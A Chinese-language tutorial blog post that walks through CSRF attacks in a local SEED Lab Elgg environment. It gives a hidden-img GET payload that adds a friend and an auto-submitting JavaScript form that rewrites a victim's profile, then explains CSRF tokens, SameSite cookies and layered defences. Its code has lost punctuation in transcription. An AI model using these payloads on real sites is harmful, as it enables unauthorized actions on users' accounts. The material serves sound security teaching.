[实战剖析] 从零构建CSRF攻击：GET与POST请求的攻防博弈

1. CSRF攻击的本质与危害跨站请求伪造CSRF就像有人偷偷用你的手机给朋友发消息。想象你登录了社交网站没有退出这时访问了恶意网页它就能冒充你执行加好友、改资料等操作。这种攻击不需要窃取密码只要浏览器保持着目标网站的登录状态就会中招。我曾在测试环境中模拟过这种攻击当受害者访问植入恶意代码的页面时攻击者构造的请求会悄悄触发社交网站后台操作。比如用隐藏的img标签发起GET请求自动添加好友或者用JavaScript自动提交表单修改个人简介。最可怕的是整个过程用户可能完全不知情。CSRF能造成的危害包括未经授权的账户操作转账、改密码社交关系篡改强制关注、删除好友用户数据泄露修改隐私设置内容污染发布垃圾信息2. 实验环境搭建与观察2.1 搭建靶场环境我们用Elgg开源社交系统搭建实验环境这是研究Web安全的经典平台。通过Docker快速部署docker pull seedsecurity/elgg docker run -d -p 8080:80 --nameelgg seedsecurity/elgg访问localhost:8080就能看到社交网站界面。注册两个测试账号攻击者attacker和受害者victim。关键是要保持victim账号处于登录状态这是CSRF成功的前提条件。2.2 分析正常请求先用Burp Suite抓包观察正常操作时的HTTP请求GET请求示例添加好友GET /action/friends/add?friend42 HTTP/1.1 Host: localhost:8080 Cookie: ElggxxxxxxxxPOST请求示例修改简介POST /action/profile/edit HTTP/1.1 Content-Type: application/x-www-form-urlencoded namevictimdescriptiontestaccesslevel2发现GET请求的参数直接暴露在URL里而POST请求通过消息体传输。这直接影响我们后续构造攻击的方式。3. 构造GET型CSRF攻击3.1 攻击原理剖析GET请求的CSRF利用最简单——只需要让受害者访问特定URL。我在测试时发现通过img标签加载伪造的URL是最隐蔽的方式html body img srchttp://localhost:8080/action/friends/add?friend42 styledisplay:none /body /html当victim账号访问这个页面时浏览器会自动加载图片地址实际上发送了添加好友的请求。由于请求携带了Elgg的会话cookie服务器会认为是用户自愿操作。3.2 实际攻击演示确定victim的用户ID通过查看网页源码构造恶意HTML文件并托管在攻击者服务器诱导victim访问该页面实测发现即使用户当前停留在其他标签页只要浏览器没有关闭攻击仍然有效。这就是为什么银行网站执行重要操作时总会要求重新验证身份。4. 实现POST型CSRF攻击4.1 自动提交表单技术POST请求需要构造表单并自动提交我常用JavaScript动态创建表单元素function exploit() { let form document.createElement(form); form.action http://localhost:8080/action/profile/edit; form.method POST; let params { name: victim, description: Hacked by attacker, accesslevel: 2 }; for (let key in params) { let input document.createElement(input); input.type hidden; input.name key; input.value params[key]; form.appendChild(input); } document.body.appendChild(form); form.submit(); } window.onload exploit;4.2 攻击效果验证将上述代码保存为HTML文件当victim访问时页面加载完成后自动执行JavaScript动态创建包含恶意数据的表单自动提交表单修改用户资料页面跳转前用户可能看到闪屏这种攻击比GET更隐蔽因为URL看起来是正常的实际在后台完成了恶意操作。我在测试时发现即使用户快速关闭页面请求也可能已经发出。5. 防御机制实战分析5.1 CSRF Token防护Elgg默认使用CSRF Token防御机制原理是服务端生成随机token并存入sessionToken随表单一起发送给客户端提交表单时需要验证token有效性启用防御后我们之前的攻击全部失效。查看服务端代码发现关键验证逻辑$token get_input(__elgg_token); if (!validate_token($token)) { register_error(Invalid request token); forward(REFERER); }5.2 SameSite Cookie策略现代浏览器支持通过Cookie的SameSite属性防御CSRFStrict完全禁止第三方CookieLax允许部分安全请求如导航跳转携带CookieNone不限制需要配合Secure属性在测试中发现设置SameSiteStrict后所有跨站请求都不会携带认证Cookie使得CSRF攻击无法进行。这是目前最有效的防御方案之一。6. 攻防对抗的深层思考在实际渗透测试中CSRF往往需要结合其他漏洞才能发挥作用。比如当网站存在XSS漏洞时攻击者可以先注入恶意脚本然后通过该脚本发起CSRF攻击完全绕过SameSite Cookie的限制。防御方面建议采用分层策略关键操作使用POST请求实施CSRF Token验证设置Cookie的SameSite属性敏感操作要求二次认证定期检查referer头部我在企业级项目中见过最完善的方案是使用加密的state参数替代简单token每次请求都验证state的时效性和唯一性这样即使攻击者获取了token也无法重复使用。